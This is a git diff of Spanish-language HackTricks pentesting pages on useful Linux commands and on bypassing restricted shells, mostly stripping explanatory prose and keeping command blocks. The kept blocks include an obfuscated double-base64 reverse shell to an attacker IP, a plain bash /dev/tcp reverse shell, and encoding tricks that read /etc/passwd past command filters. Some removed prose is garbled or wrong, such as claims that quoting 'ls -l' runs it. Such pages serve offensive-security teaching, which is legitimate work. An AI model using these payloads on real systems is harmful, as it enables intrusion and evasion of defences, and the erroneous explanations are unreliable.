* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Bash común
|
||||
## Bash Común
|
||||
```bash
|
||||
#Exfiltration using Base64
|
||||
base64 -w 0 file
|
||||
|
@ -139,11 +141,11 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
|
|||
# List files inside zip
|
||||
7z l file.zip
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtenga acceso hoy mismo:
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, potenciados por las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
Obtén Acceso Hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -168,60 +170,6 @@ python pyinstaller.py --onefile exploit.py
|
|||
i686-mingw32msvc-gcc -o executable useradd.c
|
||||
```
|
||||
## Greps
|
||||
|
||||
El comando `grep` es una herramienta muy útil en Linux para buscar patrones en archivos de texto. Puede ser utilizado para buscar palabras clave, filtrar líneas que coincidan con un patrón específico y realizar búsquedas avanzadas utilizando expresiones regulares.
|
||||
|
||||
### Sintaxis básica
|
||||
|
||||
La sintaxis básica del comando `grep` es la siguiente:
|
||||
|
||||
```
|
||||
grep [opciones] [patrón] [archivo(s)]
|
||||
```
|
||||
|
||||
- `[opciones]`: se utilizan para especificar opciones adicionales, como la búsqueda recursiva en directorios o la ignorancia de mayúsculas y minúsculas.
|
||||
- `[patrón]`: es el patrón que se desea buscar en el archivo(s).
|
||||
- `[archivo(s)]`: son los archivos en los que se realizará la búsqueda. Si no se especifica ningún archivo, `grep` leerá la entrada estándar.
|
||||
|
||||
### Ejemplos de uso
|
||||
|
||||
1. Buscar una palabra clave en un archivo:
|
||||
|
||||
```
|
||||
grep "palabra_clave" archivo.txt
|
||||
```
|
||||
|
||||
2. Buscar una palabra clave en varios archivos:
|
||||
|
||||
```
|
||||
grep "palabra_clave" archivo1.txt archivo2.txt archivo3.txt
|
||||
```
|
||||
|
||||
3. Buscar una palabra clave en todos los archivos de un directorio (recursivamente):
|
||||
|
||||
```
|
||||
grep -r "palabra_clave" directorio/
|
||||
```
|
||||
|
||||
4. Buscar una palabra clave ignorando mayúsculas y minúsculas:
|
||||
|
||||
```
|
||||
grep -i "palabra_clave" archivo.txt
|
||||
```
|
||||
|
||||
5. Buscar una palabra clave y mostrar el número de línea donde se encuentra:
|
||||
|
||||
```
|
||||
grep -n "palabra_clave" archivo.txt
|
||||
```
|
||||
|
||||
6. Buscar una palabra clave utilizando una expresión regular:
|
||||
|
||||
```
|
||||
grep -E "expresión_regular" archivo.txt
|
||||
```
|
||||
|
||||
Estos son solo algunos ejemplos básicos de cómo utilizar el comando `grep`. Puedes consultar la página de manual (`man grep`) para obtener más información sobre las opciones y funcionalidades avanzadas de `grep`.
|
||||
```bash
|
||||
#Extract emails from file
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
||||
|
@ -301,20 +249,7 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
|
|||
#Extract ISBN Numbers
|
||||
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
|
||||
```
|
||||
## Ayuda para la búsqueda de Nmap
|
||||
|
||||
Nmap es una herramienta de escaneo de red muy poderosa y versátil. Aquí hay algunos comandos útiles para ayudarte a aprovechar al máximo Nmap:
|
||||
|
||||
- `nmap -sn <IP>`: Realiza un escaneo de ping para determinar si una dirección IP está activa.
|
||||
- `nmap -sS <IP>`: Realiza un escaneo de tipo SYN para determinar los puertos abiertos en una dirección IP.
|
||||
- `nmap -sV <IP>`: Realiza un escaneo de versión para determinar la versión y el servicio que se ejecuta en los puertos abiertos de una dirección IP.
|
||||
- `nmap -p <puertos> <IP>`: Escanea puertos específicos en una dirección IP.
|
||||
- `nmap -A <IP>`: Realiza un escaneo agresivo que incluye detección de versión, detección de sistema operativo y escaneo de scripts.
|
||||
- `nmap -O <IP>`: Intenta determinar el sistema operativo que se ejecuta en una dirección IP.
|
||||
- `nmap -T<0-5> <IP>`: Establece el nivel de agresividad del escaneo, donde 0 es el más lento y 5 es el más rápido.
|
||||
- `nmap -v <IP>`: Muestra una salida detallada del escaneo.
|
||||
|
||||
Estos son solo algunos ejemplos de los comandos más comunes que puedes utilizar con Nmap. Recuerda que Nmap es una herramienta muy potente y puede proporcionar mucha información sobre una red, por lo que es importante utilizarla de manera ética y responsable.
|
||||
## Ayuda de búsqueda con Nmap
|
||||
```bash
|
||||
#Nmap scripts ((default or version) and smb))
|
||||
nmap --script-help "(default or version) and *smb*"
|
||||
|
@ -322,111 +257,11 @@ locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | gre
|
|||
nmap --script-help "(default or version) and smb)"
|
||||
```
|
||||
## Bash
|
||||
|
||||
Bash (Bourne Again SHell) es un intérprete de comandos de Unix y un lenguaje de programación de shell. Es el shell predeterminado en la mayoría de las distribuciones de Linux y macOS. Bash proporciona una interfaz de línea de comandos para interactuar con el sistema operativo y ejecutar comandos.
|
||||
|
||||
### Comandos básicos
|
||||
|
||||
- `ls`: lista los archivos y directorios en el directorio actual.
|
||||
- `cd`: cambia el directorio actual.
|
||||
- `pwd`: muestra el directorio de trabajo actual.
|
||||
- `mkdir`: crea un nuevo directorio.
|
||||
- `rm`: elimina archivos y directorios.
|
||||
- `cp`: copia archivos y directorios.
|
||||
- `mv`: mueve o renombra archivos y directorios.
|
||||
- `cat`: muestra el contenido de un archivo.
|
||||
- `grep`: busca patrones en archivos.
|
||||
- `chmod`: cambia los permisos de archivos y directorios.
|
||||
- `chown`: cambia el propietario de archivos y directorios.
|
||||
- `ssh`: inicia una sesión segura en un servidor remoto.
|
||||
- `sudo`: ejecuta un comando con privilegios de superusuario.
|
||||
|
||||
### Redirección y tuberías
|
||||
|
||||
- `>`: redirige la salida de un comando a un archivo.
|
||||
- `>>`: redirige y agrega la salida de un comando a un archivo existente.
|
||||
- `<`: redirige la entrada de un archivo a un comando.
|
||||
- `|`: redirige la salida de un comando a la entrada de otro comando.
|
||||
|
||||
### Variables de entorno
|
||||
|
||||
- `export`: establece una variable de entorno.
|
||||
- `env`: muestra las variables de entorno.
|
||||
- `echo`: muestra el valor de una variable de entorno.
|
||||
|
||||
### Comandos de búsqueda y filtrado
|
||||
|
||||
- `find`: busca archivos y directorios en función de diferentes criterios.
|
||||
- `grep`: busca patrones en archivos.
|
||||
- `sort`: ordena líneas de texto.
|
||||
- `wc`: cuenta líneas, palabras y caracteres en un archivo.
|
||||
- `head`: muestra las primeras líneas de un archivo.
|
||||
- `tail`: muestra las últimas líneas de un archivo.
|
||||
|
||||
### Comandos de administración del sistema
|
||||
|
||||
- `top`: muestra los procesos en ejecución y su uso de recursos.
|
||||
- `ps`: muestra los procesos en ejecución.
|
||||
- `kill`: envía una señal a un proceso.
|
||||
- `shutdown`: apaga o reinicia el sistema.
|
||||
- `ifconfig`: muestra y configura las interfaces de red.
|
||||
- `netstat`: muestra las conexiones de red y las estadísticas.
|
||||
- `ping`: envía paquetes ICMP a un host para verificar la conectividad.
|
||||
- `traceroute`: muestra la ruta que toman los paquetes a través de la red.
|
||||
|
||||
Estos son solo algunos de los comandos básicos de Bash. Hay muchos más comandos y opciones disponibles que pueden ayudarte a administrar y trabajar con eficacia en un sistema Linux.
|
||||
```bash
|
||||
#All bytes inside a file (except 0x20 and 0x00)
|
||||
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||
```
|
||||
## Iptables
|
||||
|
||||
Iptables is a powerful firewall utility for Linux systems. It allows you to configure and manage network traffic by creating rules and chains. With iptables, you can control incoming and outgoing traffic, filter packets based on various criteria, and protect your system from unauthorized access.
|
||||
|
||||
### Basic Usage
|
||||
|
||||
To view the current iptables rules, use the following command:
|
||||
|
||||
```bash
|
||||
iptables -L
|
||||
```
|
||||
|
||||
To add a new rule, use the `iptables -A` command followed by the desired options. For example, to allow incoming SSH connections, you can use the following command:
|
||||
|
||||
```bash
|
||||
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
|
||||
```
|
||||
|
||||
To delete a rule, use the `iptables -D` command followed by the rule number. For example, to delete the rule at position 3 in the INPUT chain, you can use the following command:
|
||||
|
||||
```bash
|
||||
iptables -D INPUT 3
|
||||
```
|
||||
|
||||
### Common Options
|
||||
|
||||
Here are some common options that you can use with iptables:
|
||||
|
||||
- `-A` (append): Adds a new rule to the end of a chain.
|
||||
- `-D` (delete): Deletes a rule from a chain.
|
||||
- `-I` (insert): Inserts a new rule at a specific position in a chain.
|
||||
- `-p` (protocol): Specifies the protocol of the packet (e.g., tcp, udp).
|
||||
- `--dport` (destination port): Specifies the destination port number.
|
||||
- `-j` (jump): Specifies the target action for the packet (e.g., ACCEPT, DROP).
|
||||
|
||||
### Chains
|
||||
|
||||
Iptables uses chains to organize rules. The three default chains are:
|
||||
|
||||
- `INPUT`: Handles incoming packets.
|
||||
- `OUTPUT`: Handles outgoing packets.
|
||||
- `FORWARD`: Handles packets that are being routed through the system.
|
||||
|
||||
You can also create your own custom chains to further organize your rules.
|
||||
|
||||
### Conclusion
|
||||
|
||||
Iptables is a versatile tool for managing network traffic on Linux systems. By understanding its basic usage, common options, and chains, you can effectively configure and secure your system's firewall.
|
||||
```bash
|
||||
#Delete curent rules and chains
|
||||
iptables --flush
|
||||
|
@ -459,20 +294,22 @@ iptables -P OUTPUT ACCEPT
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtén acceso hoy mismo:
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
Obtén Acceso Hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,46 +1,36 @@
|
|||
# Saltar Restricciones en Linux
|
||||
# Eludir Restricciones de Linux
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtén acceso hoy mismo:
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, potenciados por las herramientas comunitarias **más avanzadas**.\
|
||||
Obtén Acceso Hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Saltos Comunes de Limitaciones
|
||||
## Elusiones Comunes de Limitaciones
|
||||
|
||||
### Shell Inverso
|
||||
### Reverse Shell
|
||||
```bash
|
||||
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
|
||||
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
|
||||
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
|
||||
```
|
||||
### Shell inversa corta
|
||||
|
||||
Una shell inversa corta es una técnica utilizada en hacking para establecer una conexión remota a través de una shell inversa en un sistema comprometido. Esto permite al atacante obtener acceso y control total sobre el sistema comprometido.
|
||||
|
||||
La siguiente es una implementación básica de una shell inversa corta en Bash:
|
||||
|
||||
```bash
|
||||
bash -i >& /dev/tcp/10.0.0.1/1234 0>&1
|
||||
```
|
||||
|
||||
En esta línea de comando, `10.0.0.1` representa la dirección IP del atacante y `1234` es el puerto utilizado para la conexión. Al ejecutar esta línea de comando en el sistema comprometido, se establecerá una conexión inversa con el atacante.
|
||||
|
||||
Es importante tener en cuenta que esta técnica puede ser detectada por sistemas de seguridad y firewalls, por lo que es recomendable utilizar técnicas adicionales para evadir la detección.
|
||||
### Rev shell corta
|
||||
```bash
|
||||
#Trick from Dikline
|
||||
#Get a rev shell with
|
||||
|
@ -48,23 +38,7 @@ Es importante tener en cuenta que esta técnica puede ser detectada por sistemas
|
|||
#Then get the out of the rev shell executing inside of it:
|
||||
exec >&0
|
||||
```
|
||||
### Bypass de rutas y palabras prohibidas
|
||||
|
||||
En algunas situaciones, es posible que te encuentres con restricciones en el uso de ciertas rutas o palabras en un entorno de Linux. Sin embargo, existen formas de eludir estas restricciones y lograr tus objetivos. A continuación, se presentan algunos comandos útiles para lograrlo:
|
||||
|
||||
#### Bypass de rutas
|
||||
|
||||
- **cd -**: Este comando te permite regresar al directorio anterior al que te encuentras actualmente. Puedes utilizarlo para evadir restricciones de rutas y acceder a directorios superiores.
|
||||
|
||||
- **ln -s /ruta/real /ruta/falsa**: Con este comando, puedes crear un enlace simbólico desde una ruta permitida hacia una ruta no permitida. De esta manera, podrás acceder a la ruta no permitida a través de la ruta permitida.
|
||||
|
||||
#### Bypass de palabras prohibidas
|
||||
|
||||
- **mv /bin/ls /bin/ls.bak; cp /ruta/alternativa/ls /bin/ls**: Este comando renombra el comando "ls" original a "ls.bak" y luego copia un comando alternativo con un nombre diferente a la ubicación original. De esta manera, puedes utilizar un comando alternativo en lugar del comando prohibido.
|
||||
|
||||
- **alias comando='comando_alternativo'**: Puedes utilizar este comando para crear un alias de un comando prohibido y asignarle un comando alternativo permitido. De esta manera, podrás utilizar el comando alternativo en lugar del comando prohibido.
|
||||
|
||||
Recuerda que eludir restricciones puede ser considerado una actividad ilegal o no ética, por lo que debes utilizar estos comandos con responsabilidad y solo en entornos autorizados.
|
||||
### Evitar rutas y palabras prohibidas
|
||||
```bash
|
||||
# Question mark binary substitution
|
||||
/usr/bin/p?ng # /usr/bin/ping
|
||||
|
@ -119,17 +93,7 @@ mi # This will throw an error
|
|||
whoa # This will throw an error
|
||||
!-1!-2 # This will execute whoami
|
||||
```
|
||||
### Bypassar espacios prohibidos
|
||||
|
||||
Sometimes, when trying to execute a command that contains spaces, you may encounter restrictions that prevent the command from running. However, there are ways to bypass these restrictions and execute the command successfully.
|
||||
|
||||
In Linux, you can use the backslash (\) character to escape the space character. For example, if you want to execute a command like `ls -l`, which contains a space between `ls` and `-l`, you can bypass the restriction by typing `ls\ -l`.
|
||||
|
||||
Another method is to enclose the command within single quotes (''). This tells the shell to treat the entire string as a single argument, ignoring any spaces within it. For example, you can execute the command `ls -l` by typing `'ls -l'`.
|
||||
|
||||
Similarly, you can also enclose the command within double quotes (""). This has the same effect as using single quotes. For example, you can execute the command `ls -l` by typing `"ls -l"`.
|
||||
|
||||
By using these techniques, you can bypass restrictions on spaces and successfully execute commands that contain spaces.
|
||||
### Evitar espacios prohibidos
|
||||
```bash
|
||||
# {form}
|
||||
{cat,lol.txt} # cat lol.txt
|
||||
|
@ -162,80 +126,16 @@ g # These 4 lines will equal to ping
|
|||
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
||||
uname!-1\-a # This equals to uname -a
|
||||
```
|
||||
### Bypassar barra invertida y barra diagonal
|
||||
|
||||
En algunos casos, es posible que te encuentres con restricciones en el uso de barras invertidas (`\`) y barras diagonales (`/`) al realizar tareas de hacking. Sin embargo, existen formas de eludir estas restricciones y lograr tus objetivos.
|
||||
|
||||
#### Bypassar barras invertidas
|
||||
|
||||
Si te encuentras con una restricción en el uso de barras invertidas, puedes intentar utilizar la secuencia de escape `\\` para representar una sola barra invertida. Esto engañará al sistema y permitirá que se interprete correctamente.
|
||||
|
||||
Por ejemplo, si necesitas ejecutar un comando que contiene una barra invertida, puedes escribirlo de la siguiente manera:
|
||||
|
||||
```
|
||||
comando\\con\\barra\\invertida
|
||||
```
|
||||
|
||||
De esta manera, el sistema interpretará `\\` como una sola barra invertida y ejecutará el comando correctamente.
|
||||
|
||||
#### Bypassar barras diagonales
|
||||
|
||||
Si te encuentras con una restricción en el uso de barras diagonales, puedes intentar utilizar la secuencia de escape `\/` para representar una sola barra diagonal. Esto permitirá que el sistema interprete correctamente la barra diagonal.
|
||||
|
||||
Por ejemplo, si necesitas acceder a un directorio que contiene una barra diagonal en su nombre, puedes escribirlo de la siguiente manera:
|
||||
|
||||
```
|
||||
ruta\/con\/barra\/diagonal
|
||||
```
|
||||
|
||||
De esta manera, el sistema interpretará `\/` como una sola barra diagonal y podrás acceder al directorio correctamente.
|
||||
|
||||
Recuerda que estas técnicas pueden variar dependiendo del sistema operativo y la configuración específica. Es importante probar diferentes enfoques y adaptarlos a tu situación particular.
|
||||
### Evitar restricciones de barra invertida y barra
|
||||
```bash
|
||||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
```
|
||||
### Bypassar tuberías
|
||||
|
||||
Las tuberías son una característica poderosa en Linux que permite redirigir la salida de un comando a la entrada de otro. Sin embargo, en algunos casos, es posible que se restrinja el uso de tuberías en un entorno de Bash restringido. Afortunadamente, existen formas de eludir estas restricciones y aprovechar las tuberías para realizar tareas específicas.
|
||||
|
||||
Una forma común de eludir las restricciones de tuberías es utilizando el comando `tee`. El comando `tee` lee desde la entrada estándar y escribe tanto en la salida estándar como en uno o más archivos. Al utilizar `tee` en combinación con tuberías, podemos sortear las restricciones y lograr el resultado deseado.
|
||||
|
||||
Aquí hay un ejemplo de cómo utilizar `tee` para eludir las restricciones de tuberías:
|
||||
|
||||
```bash
|
||||
echo "Información confidencial" | tee /dev/tty | comando
|
||||
```
|
||||
|
||||
En este ejemplo, la salida del comando `echo` se redirige a `tee`, que a su vez muestra la salida en la terminal (`/dev/tty`) y la pasa como entrada al siguiente comando.
|
||||
|
||||
Otra forma de eludir las restricciones de tuberías es utilizando subprocesos. Los subprocesos permiten ejecutar comandos en segundo plano y capturar su salida. Al utilizar subprocesos, podemos sortear las restricciones y lograr el resultado deseado.
|
||||
|
||||
Aquí hay un ejemplo de cómo utilizar subprocesos para eludir las restricciones de tuberías:
|
||||
|
||||
```bash
|
||||
(comando1 | comando2) &
|
||||
```
|
||||
|
||||
En este ejemplo, los comandos `comando1` y `comando2` se ejecutan en segundo plano y su salida se pasa de uno a otro a través de la tubería.
|
||||
|
||||
Recuerda que eludir las restricciones de tuberías puede ser considerado una actividad maliciosa y puede ser ilegal sin el permiso adecuado. Siempre asegúrate de tener permiso para realizar estas acciones y úsalas con responsabilidad.
|
||||
### Evitar tuberías
|
||||
```bash
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||||
```
|
||||
### Bypass con codificación hexadecimal
|
||||
|
||||
Si un sistema tiene restricciones que bloquean ciertos caracteres o comandos en Bash, puedes intentar eludir estas restricciones utilizando la codificación hexadecimal. La codificación hexadecimal representa caracteres utilizando una combinación de números y letras, lo que puede permitirte ejecutar comandos que de otra manera estarían bloqueados.
|
||||
|
||||
Aquí hay un ejemplo de cómo usar la codificación hexadecimal para ejecutar un comando:
|
||||
|
||||
```bash
|
||||
$ echo -e "\x6c\x73"
|
||||
```
|
||||
|
||||
En este ejemplo, el comando `echo -e` se utiliza para imprimir los caracteres representados por la codificación hexadecimal `\x6c\x73`. En este caso, `\x6c` representa la letra "l" y `\x73` representa la letra "s". Por lo tanto, el comando `echo -e "\x6c\x73"` imprimirá "ls" en la terminal.
|
||||
|
||||
Puedes usar esta técnica para ejecutar cualquier comando que desees, siempre y cuando puedas representar los caracteres en codificación hexadecimal. Sin embargo, ten en cuenta que esta técnica puede no funcionar en todos los sistemas, ya que algunos pueden tener restricciones adicionales que bloquean la codificación hexadecimal.
|
||||
### Evasión con codificación hexadecimal
|
||||
```bash
|
||||
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
||||
|
@ -245,107 +145,16 @@ cat `xxd -r -p <<< 2f6574632f706173737764`
|
|||
xxd -r -ps <(echo 2f6574632f706173737764)
|
||||
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
```
|
||||
### Bypass IPs
|
||||
|
||||
#### Introduction
|
||||
|
||||
In some cases, you may encounter restrictions that prevent you from accessing certain IP addresses. However, there are ways to bypass these restrictions and gain access to the blocked IPs. This section will cover some useful Linux commands that can help you achieve this.
|
||||
|
||||
#### Method 1: Using a Proxy Server
|
||||
|
||||
One common method to bypass IP restrictions is by using a proxy server. A proxy server acts as an intermediary between your device and the target IP address, allowing you to access the blocked IP indirectly. Here's how you can do it:
|
||||
|
||||
1. Find a reliable proxy server that is not blocked by the target IP.
|
||||
2. Configure your system to use the proxy server. You can do this by setting the `http_proxy` and `https_proxy` environment variables or by modifying the network settings in your system preferences.
|
||||
3. Test the connection by accessing the blocked IP. If everything is set up correctly, you should be able to access the IP without any restrictions.
|
||||
|
||||
#### Method 2: Using a VPN
|
||||
|
||||
Another effective method to bypass IP restrictions is by using a Virtual Private Network (VPN). A VPN creates a secure and encrypted connection between your device and a remote server, allowing you to access the internet through the server's IP address. Here's how you can use a VPN to bypass IP restrictions:
|
||||
|
||||
1. Choose a reputable VPN service provider and sign up for an account.
|
||||
2. Install the VPN client software on your device and configure it with your account credentials.
|
||||
3. Connect to a VPN server located in a region where the blocked IP is accessible.
|
||||
4. Once connected, your internet traffic will be routed through the VPN server, and you should be able to access the blocked IP without any restrictions.
|
||||
|
||||
#### Method 3: Using Tor
|
||||
|
||||
Tor is a free and open-source software that enables anonymous communication by routing your internet traffic through a network of volunteer-operated servers. By using Tor, you can bypass IP restrictions and access blocked IPs. Here's how you can use Tor:
|
||||
|
||||
